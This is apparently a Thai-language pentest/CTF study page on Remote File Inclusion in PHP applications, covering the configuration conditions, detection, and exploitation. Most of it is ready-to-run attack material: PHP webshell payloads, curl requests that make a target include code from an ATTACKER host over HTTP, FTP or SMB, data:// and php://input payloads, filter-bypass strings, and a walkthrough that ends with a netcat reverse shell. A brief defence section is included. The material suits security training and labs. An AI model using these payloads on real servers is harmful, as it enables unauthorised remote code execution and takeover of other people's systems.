คลัง
web

Remote File Inclusion (RFI)

RFI คล้าย LFI แต่ include ไฟล์จาก URL/ทรัพยากรภายนอกที่ผู้โจมตีควบคุม ทำให้รันโค้ดบนเซิร์ฟเวอร์ได้ทันที (RCE) พบน้อยกว่า LFI เพราะต้องเปิด allow_url_include บทนี้ครอบคลุมเงื่อนไข PHP, wrapper ต่างๆ (http/ftp/data/php), การใช้ SMB บน Windows, และการต่อยอดจาก LFI

IntermediateAdvanced#rfi#file-inclusion#rce#allow-url-include#php-wrapper#smb#web#ctf

1. หลักการและเงื่อนไข

ถ้าฟังก์ชัน include รับ URL ได้ (PHP: include($_GET['page']) + allow_url_include=On) ผู้โจมตีชี้ไปไฟล์โค้ดบนเซิร์ฟเวอร์ตัวเอง เซิร์ฟเวอร์เป้าหมายจะดาวน์โหลดมา รันในบริบทของแอป ทันที = RCE โดยตรง ต่างจาก LFI ที่ต้องหาทางแทรกโค้ดเข้าไฟล์ในเครื่องเป้าหมายก่อน (log poisoning, session, /proc)

directive PHPค่าผล
allow_url_fopenOn (default)เปิด http:// ftp:// ใน fopen — ยังไม่พอสำหรับ RCE
allow_url_includeOn (default = Off)จำเป็นสำหรับ include ผ่าน http/data → RCE
allow_url_includeOffhttp:// include ไม่ได้ → ต้องหันไป LFI/wrapper อื่น
RFI — เป้าหมายดึงโค้ดจากเครื่องผู้โจมตีมารัน
attacker HTTP shell.txt (<?php) target ?page=http://attacker/ RCE fetch target รันโค้ดจากไฟล์ภายนอกในบริบทของ PHP app

2. การตรวจจับ

  1. 1หา parameter ที่รับชื่อไฟล์/หน้า: ?page= ?file= ?include= ?template= ?lang= ?view=
  2. 2ทดสอบ LFI ก่อน (../../etc/passwd) — ถ้า LFI ได้ ให้ลองต่อ RFI
  3. 3ชี้ไป URL ที่เราคุม: ?page=http://YOUR_IP/probe.txt แล้วดู log ว่า target มาดึงไฟล์ไหม (out-of-band)
  4. 4ถ้า target เชื่อมออกมาได้ = allow_url_fopen เปิด; ถ้าเนื้อไฟล์ถูก include/รัน = allow_url_include เปิด → RFI เต็ม
  5. 5ถ้า include http ไม่ได้ ลอง data://, php://input, expect://, ftp:// หรือ SMB (Windows)
ใช้ HTTP server ง่ายๆ ฝั่งผู้โจมตี (python3 -m http.server 80) แล้วสังเกต access log — เห็น GET จาก IP เป้าหมาย = out-of-band ยืนยันว่า include ออกนอกได้

3. Exploitation — HTTP/FTP RFI

RFI พื้นฐานผ่าน http:// / ftp://
# 1) โฮสต์ payload บนเครื่องผู้โจมตี — ตั้งเป็น .txt ไม่ใช่ .php
#    เพื่อไม่ให้ web server ของเรารันเอง (ให้เป้าหมายรันแทน)
echo '<?php system($_GET["c"]); ?>' > shell.txt
python3 -m http.server 80

# 2) ชี้ include ไปที่ไฟล์ + ส่งคำสั่ง
curl 'http://target/?page=http://ATTACKER/shell.txt&c=id'

# ทางเลือก ftp
curl 'http://target/?page=ftp://ATTACKER/shell.txt&c=id'
ถ้า filter เติม suffix (.php) ต่อท้าย input ลอง null byte (%00 บน PHP เก่า) หรือ ? / # เพื่อตัด suffix: ?page=http://ATTACKER/shell.txt?
bypass filter ที่เติม suffix / กรอง keyword
# แอปทำ include($_GET['page'] . ".php")
?page=http://ATTACKER/shell.txt?          # ? ทำให้ .php กลายเป็น query
?page=http://ATTACKER/shell.txt%23        # %23 = # ตัด suffix
?page=http://ATTACKER/shell.txt%00        # null byte (PHP < 5.3.4)

# filter ลบ "http://" หนึ่งครั้ง
?page=hthttp://tp://ATTACKER/shell.txt
# filter case
?page=HTTP://ATTACKER/shell.txt

4. PHP wrappers — RFI โดยไม่ต้องโฮสต์ไฟล์

เมื่อ allow_url_include=On เราไม่จำเป็นต้องมีเซิร์ฟเวอร์ภายนอก — ใช้ wrapper ที่ฝัง payload ในตัว URL ได้เลย

wrapperตัวอย่างเงื่อนไข
data://data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+allow_url_include=On
php://input?page=php://input (POST body = โค้ด)allow_url_include=On
expect://expect://idextension expect ติดตั้ง (หายาก)
php://filterอ่าน source (base64) — LFI ไม่ใช่ RCEใช้ได้เสมอ (leak code)
php://filter chainchain แปลงจน generate โค้ด → RCE โดยไม่ต้อง uploadPHP ที่มี filter (LFI2RCE)
data:// และ php://input
# data:// — payload base64 ในตัว URL
B64=$(echo -n '<?php system($_GET["c"]); ?>' | base64)
curl "http://target/?page=data://text/plain;base64,$B64&c=id"

# php://input — ส่งโค้ดใน POST body
curl 'http://target/?page=php://input&c=id' \
     --data '<?php system($_GET["c"]); ?>'
data:// / php://input ต้องการ allow_url_include=On เหมือน http RFI; php://filter (อ่าน source) ไม่ต้อง
ถ้า allow_url_include ปิด แต่มี LFI ให้ลอง php://filter chain (php_filter_chain_generator) สร้างโค้ดจาก filter ล้วนๆ — แปลง LFI เป็น RCE ได้โดยไม่ต้องอัปโหลดไฟล์เลย (ดูหัวข้อ LFI)

5. RFI ผ่าน SMB (Windows)

บน Windows แม้ allow_url_include ปิด บางครั้ง include รับ UNC path (\\host\share\file) ได้ ทำให้ host ไฟล์บน SMB share แล้วให้ target ดึงมารัน — ใช้ได้เมื่อ target เชื่อมออก SMB (port 445) มาหาเราได้

SMB RFI ด้วย impacket smbserverLinux
# 1) ตั้ง SMB share สาธารณะ (impacket)
mkdir share
echo '<?php system($_GET["c"]); ?>' > share/shell.php
impacket-smbserver -smb2support pub ./share

# 2) include ผ่าน UNC path
curl 'http://target/?page=\\ATTACKER\pub\shell.php&c=id'
ใช้ได้เฉพาะ target Windows ที่ออก SMB มาหาเราได้ (มัก block ที่ egress firewall); เป็น trick คลาสสิกใน HTB Windows web boxes

6. Decision flow

param include น่าสงสัย — ไล่ตามนี้
ชี้ ?page=http://ATTACKER/probe.txt (out-of-band)
ดู http.server log
target มาดึงไฟล์ไหม + รันโค้ดไหม?
ดึง+รัน→ RFI เต็ม (allow_url_include=On)
ดึงแต่ไม่รันallow_url_fopen only → ลอง wrapper อื่น
ไม่ออกเลย→ กลับไป LFI + php://filter chain
http ปิด? ลอง data:// / php://input / SMB (Windows)

7. ข้อผิดพลาด & troubleshooting

  • โฮสต์ payload เป็น .php: web server ของเรารันเอง → target ได้ output ว่างเปล่า ตั้งเป็น .txt
  • allow_url_include ปิด: http RFI ใช้ไม่ได้ — pivot ไป LFI + php://filter chain / log poisoning
  • suffix .php ต่อท้าย: ใช้ ? หรือ %23 หรือ %00 (เก่า) ตัด suffix
  • egress firewall block: target ออกเน็ตไม่ได้ → RFI ภายนอกล้มเหลว ใช้ wrapper ในตัว (data/php://input)
  • ลืม url-encode: & ใน URL payload ทำให้ param ขาด — encode ให้ถูก
  • SMB ถูก block: port 445 egress ปิด → SMB RFI ใช้ไม่ได้
  • คิดว่า RFI พบบ่อย: จริงๆ พบน้อย เพราะ default allow_url_include=Off ตั้งแต่ PHP 5.2 — LFI พบบ่อยกว่ามาก

8. การป้องกัน

  • ตั้ง allow_url_include=Off และ allow_url_fopen=Off (ถ้าไม่จำเป็น)
  • อย่าใช้ input ผู้ใช้ตรงๆ ใน include/require — ใช้ allowlist ของหน้า/ไฟล์ที่อนุญาต
  • map ค่า input เป็น key ไปยังไฟล์ที่กำหนดไว้ (เช่น pages['home'] = 'home.php')
  • จำกัด egress network ของ web server (block outbound HTTP/SMB) — ลด out-of-band
  • ปิด wrapper ที่ไม่จำเป็น (expect, data) และตั้ง open_basedir จำกัด path
  • WAF/validation ปฏิเสธ scheme (http/ftp/data/php/expect) และ UNC ใน parameter ไฟล์

9. Quick Reference

  • เงื่อนไข: allow_url_include=On (default Off ตั้งแต่ PHP 5.2) — พบน้อย
  • ?page=http://attacker/shell.txt&c=id → RCE
  • payload ตั้งเป็น .txt ให้เป้าหมายรัน ไม่ใช่เครื่องเรา
  • ไม่ต้องโฮสต์: data://text/plain;base64,... / php://input
  • bypass suffix: ?page=...txt? / %23 / %00 (เก่า)
  • Windows: SMB UNC \\ATTACKER\pub\shell.php (impacket-smbserver)
  • allow_url_include ปิด → LFI + php://filter chain (LFI2RCE)
  • ป้องกัน: allow_url_include=Off, allowlist, จำกัด egress

🧭 จับมือทำทีละขั้น (มีแค่ Kali) + ถ้าติดไปไหนต่อ

สมมติ parameter include ไฟล์แล้วสงสัยว่า include จาก URL ภายนอกได้ (RFI) ไม่ใช่แค่ path ในเครื่อง ทำตามนี้ทีละขั้น

  1. 1เปิด python3 -m http.server 80 บนเครื่องเรา (Kali) แล้วสร้างไฟล์ test.txt เนื้อ RFI_TEST_OK ไว้ก่อน
  2. 2ทดสอบเปลี่ยนค่าพารามิเตอร์เป็น URL ของเราเอง: page=http:///test.txt แล้วดูว่าเนื้อไฟล์นั้นโผล่ในหน้าเว็บไหม
  3. 3ถ้าโผล่ = ยืนยัน RFI ทำงานจริง เปลี่ยนไฟล์ทดสอบเป็น PHP webshell: แล้วตั้งชื่อ .txt (บาง config include แล้ว parse เป็น PHP ตาม allow_url_include)
  4. 4ยิง ?page=http:///shell.txt&c=id ดูว่าได้ output คำสั่งกลับมาไหม
  5. 5ถ้าไม่ทำงาน (allow_url_include=Off หรือ include เอาแค่เนื้อ text ไม่ parse) ให้เปลี่ยนไปทดสอบ LFI แทน (include ไฟล์ในเครื่องแทนภายนอก)
  6. 6ถ้า target กรอง http:// ลองใช้ protocol อื่น: ftp://, data://text/plain;base64,, หรือ UNC path style สำหรับ Windows/SMB
  7. 7ถ้ายืนยัน RCE ได้แล้ว เปิด nc -lvnp 4444 รอ แล้วให้ webshell ยิง reverse shell กลับมา
  8. 8ถ้าใช้ data:// wrapper ต้อง encode payload เป็น base64 ก่อน (ใช้ CyberChef หรือ base64 ในเครื่อง)
Master flow — ยืนยันและยกระดับ RFI เป็น RCE
เปิด python3 -m http.server 80 บนเครื่องเรา แล้วสร้างไฟล์ test.txt เนื้อ RFI_TEST_OK
ยิงพารามิเตอร์ page=http://<our-ip>/test.txt แล้วดู response
เนื้อ RFI_TEST_OK โผล่ในหน้าเว็บไหม?
✅ โผล่→ ยืนยัน RFI ทำงานจริง
❌ ไม่โผล่เลย→ allow_url_include อาจปิด
ยืนยัน RFI ทำงานแล้ว → เปลี่ยนไฟล์เป็น PHP webshell <?php system($_GET['c']); ?> แล้ว host ใหม่
ยิง ?page=http://<our-ip>/shell.txt&c=id ดูว่า output คำสั่งกลับมาไหม
ได้ output คำสั่ง OS กลับมาไหม (RCE)?
✅ ได้ output→ เปิด reverse shell ต่อ
❌ ไม่ได้ output (แค่ text เนื้อไฟล์)→ ต้องลอง protocol อื่น
server อาจแค่ดึงเนื้อไฟล์มาแสดง ไม่ parse เป็น PHP → ลอง protocol อื่น (data://text/plain;base64,<payload>, ftp://) หรือเช็ค extension/parsing ให้ตรงเงื่อนไข
ขั้นตอน/งานเครื่องมือใน Kaliติดตั้งเพิ่ม (ถ้าไม่มี)เครื่องมือออนไลน์
host ไฟล์ทดสอบ/payloadpython3 -m http.serveralready in Kali-
ทดสอบ payload มือBurp Repeater / curlalready in Kali-
encode payload สำหรับ data:// wrapperbase64already in KaliCyberChef
สร้าง reverse shell payloadncalready in Kalirevshells.com
เรียนรู้ RFI/LFI เพิ่ม--portswigger / hacktricks
ตั้ง listener รอ shellnc -lvnpalready in Kali-
🚑 ถ้าตันสนิท ลองท่าถัดไป: lfi ถ้า allow_url_include ปิด ต้องใช้ local file แทน, file-upload ถ้าอัปโหลดไฟล์ตรงๆ ง่ายกว่าพึ่ง RFI, command-injection เมื่อได้ RCE แล้วอยากรันคำสั่งต่อ, ssrf ถ้า parameter เรียก URL ภายนอกได้แต่ target ไม่ใช่ include ตรงๆ ลองมองเป็น SSRF

หัวข้อที่เชื่อมโยง

โน้ตของฉัน

ยังไม่มีโน้ตสำหรับหัวข้อนี้